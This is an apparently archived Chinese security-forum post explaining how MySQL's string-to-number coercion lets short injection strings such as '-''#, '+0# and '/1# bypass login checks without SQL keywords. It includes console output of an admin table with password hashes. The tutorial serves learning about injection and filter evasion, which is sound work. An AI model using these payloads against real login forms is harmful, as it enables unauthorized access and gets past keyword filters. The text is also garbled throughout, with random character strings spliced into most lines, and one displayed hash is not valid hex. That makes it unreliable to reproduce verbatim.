找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2243|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。" b% ?' l+ Y& a) z3 y# ^! a: W8 O
有以下表结构:
/ }. J3 Y1 |% b9 s
" ?* m8 @, V# Y  ~/ Nmysql> desc admin;+ \- B- g7 O! `) E# r
+----------+--------------+------+-----+---------+----------------+( a% M! p/ f  f( P. S) J' h, j
| Field    | Type         | Null | Key | Default | Extra          |
* Y, h2 u& X( Y( C% q+----------+--------------+------+-----+---------+----------------+
9 t8 L' W! x, q| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |$ ?$ G9 k7 @! A
| name     | char(32)     | NO   | UNI | NULL    |                |
. r0 v7 ^4 |7 r+ E- V2 P% L| password | char(32)     | NO   | UNI | NULL    |                |
" m- z% [. u3 O+ w' e1 r+----------+--------------+------+-----+---------+----------------+
4 K6 X, r; j8 [( \3 rows in set (0.00 sec)  N& g" \0 }8 U" A2 K
执行select * from admin;,成功返回所有记录内容。
. ]6 V4 ]; ^9 i; J
9 j8 s+ c: |  |
- E  R' T: W% m" N+----+--------+----------------------------------+
# f# N/ T+ Z8 [# P| id | name   | password                         |
5 z2 j/ ^- x( V. f8 J- `+----+--------+----------------------------------+
' M, x* C- {3 K3 v% s4 b5 E|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |- Z. [1 S: y+ o+ `, r! K( ?+ H
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |2 p+ h/ Q; b$ k
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
# T. V% P- E$ o. M9 {- }+----+--------+----------------------------------+
8 q5 N( j4 M8 C( S. V3 rows in set (0.00 sec)
8 d! _* P2 A7 K执行select * from admin where name=”;,没有匹配到任何记录。
" q! X$ x% F0 O4 b# {9 E$ Y6 D7 v2 }" H% k% d
mysql> select * from admin where name = '';6 z5 V! {, O/ i4 A5 p
Empty set (0.00 sec)
2 x/ x6 Y* V  V$ I5 s1 b0 [那么我们来执行select * from admin where name = ”-”;
7 N3 J5 O5 b8 e1 n. {' q# h
* y  K# W+ `/ o0 |1 @
+ k/ I; J( H8 [+----+--------+----------------------------------+, J! r% w7 n& D' A9 a. \
| id | name   | password                         |" u; {2 c5 K2 N* S" n* R1 K5 Y
+----+--------+----------------------------------+9 C, B7 y  U2 g" i. S% I
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
' ?  R% ]- d& ^; X5 S6 m|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |: S, M9 y) A& a9 u
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
. {- Q" b: P+ I# f+----+--------+----------------------------------+
! {/ Z( W, E5 z6 \2 M; j3 rows in set, 3 warnings (0.00 sec): V6 T/ I( E& L8 a) |
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: , Y2 K+ _& l8 S
/ S( ~! r3 s2 l) F/ O
mysql> show warnings;& Y0 Y* S# b9 Z3 q
+---------+------+------------------------------------------" N/ K9 u- U7 e; V. C  X0 P" T
| Level   | Code | Message! e( v( I& j2 ~" l2 |
+---------+------+------------------------------------------! ~# q6 M4 r  M: r8 [
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
) u2 l* }+ \# f; z$ [( C0 C1 _" g. ?| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
, P6 ?# A, K1 X3 u+ r, R( L| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b# Z1 N0 g/ a6 i8 j9 X# s9 K
+---------+------+------------------------------------------
! e1 c/ @# N+ O; T' V6 w; z3 rows in set (0.00 sec)
! w" n, e- F, F) n提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
; u  |  @3 T4 k3 _
, x/ b7 d+ [( T/ r: {* L4 vmysql> select ''-'';
9 j8 g6 R: T  D1 o' Q( h3 l8 P+-------+
5 v+ X: N1 y) n  C| ''-'' |
, I% ]* k; N) c! E+-------+6 _) p3 c( h% ^1 O2 c! L8 H- s
|     0 |: G! e- ]( T1 y( e# e
+-------+& f, X+ X, O) [4 {; P
1 row in set (0.00 sec)
5 z* p8 X/ i8 s& N. y9 p+ U返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
% D: g( Z1 ]+ Y6 U$ @! o, Y  @
; I+ O3 S7 E' f  w/ [5 T# Cmysql> select CAST((select name from admin limit 1,1) as DECIMAL);
; u0 l, Y% C$ S2 p, Q& ^' k+-----------------------------------------------------+7 ~( j# r! k$ C: B' w* E+ z
| CAST((select name from admin limit 1,1) as DECIMAL) |
* w. m, e# z5 m+-----------------------------------------------------+3 Y1 H  u7 X& G. u$ p. P) w  X  U
|                                                   0 |2 r2 F+ Z. g  y
+-----------------------------------------------------+
5 x4 l4 K# O, Z) }: m* Y- o  R1 row in set, 1 warning (0.00 sec)
1 E" i( x# K& f" P6 x# E2 y6 v因此where语句构成了相等的条件,where 0=”=”,记录被返回。
* q) l# w4 A5 T6 {
! y9 y4 b6 M) N( P* p: BSQL注入场景: http://www.sqlzoo.net/hack/
8 N. |* @/ J# ~7 v# {
3 t1 j# N; S( ^, N/ I
3 E* c4 J# h9 i6 Q( D# K# e+ {9 S
" [( _* \. b& `% Q7 N2 d( o* e! I
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 : e/ }  S5 u7 y' z' \: ^3 N- V
$ _5 R4 @( l/ K' b: b! D6 a. y8 f1 B6 o
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
6 G) L; p. x; r$ m" `8 x- s$ j" a$ p! N( x
6 ~" D, h. L! Q3 r/ [" p( ?0 ]
" J! R9 p3 R  u: P, j' Q  r

- G5 o- ]8 a) Q9 r7 R8 A( m6 m3 a( h仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 7 ]: `( X- x# O5 o' z; u% r
7 V( w3 C. b5 Z  T  |8 L5 a
   6 n+ t. X% Q' v4 Z' E! j1 U

6 @' v+ [2 [! t  e/ h: f1 q除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可+ `( A' |/ T% }+ g2 K2 t
5 q/ t# i7 x3 f4 ^
& W7 X* {' B: c
mysql> select ''/1;0 @7 P* I4 }% g' L7 n
+------+
" J; L5 d( X3 n- Z; |0 K0 P| ''/1 |
' {0 |4 E9 ~$ u; C. M2 t! d. X+------+
1 A' d4 g3 M8 b|    0 |, E/ F' e' L0 w& m/ m' |1 l* L. Y
+------+5 T* o6 k$ A2 p0 f
1 row in set (0.00 sec)
$ r4 ?5 I0 y3 u$ D7 e) Y" n类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
2 R+ l# m1 o8 L
; y1 U, {; ~8 h  `利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。& Q/ o. I# j+ w& x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表